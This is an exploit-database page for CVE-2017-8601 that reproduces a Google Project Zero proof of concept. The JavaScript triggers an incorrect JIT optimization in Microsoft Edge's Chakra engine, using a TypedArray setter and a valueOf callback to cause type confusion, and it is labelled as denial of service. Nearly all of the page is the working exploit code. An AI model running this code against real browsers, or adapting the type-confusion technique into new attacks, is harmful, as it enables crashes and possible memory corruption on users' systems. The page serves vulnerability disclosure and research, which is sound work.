Materialized exploit

CVE-2017-8601

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter #3

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1316

Coincidentally, Microsoft released the patch for the  issue 1290  the day after I reported it. But it seems they fixed it incorrectly again.

This time, "func(a, b, i);" is replaced with "func(a, b, {});".

PoC:
-->

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    let a = [1.1, 2.2];
    let b = new Uint32Array(100);

    for (let i = 0; i < 0x1000; i++)
        func(a, b, {});  // <<---------- REPLACED

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();

// Tested on Microsoft Edge 40.15063.0.0(Insider Preview).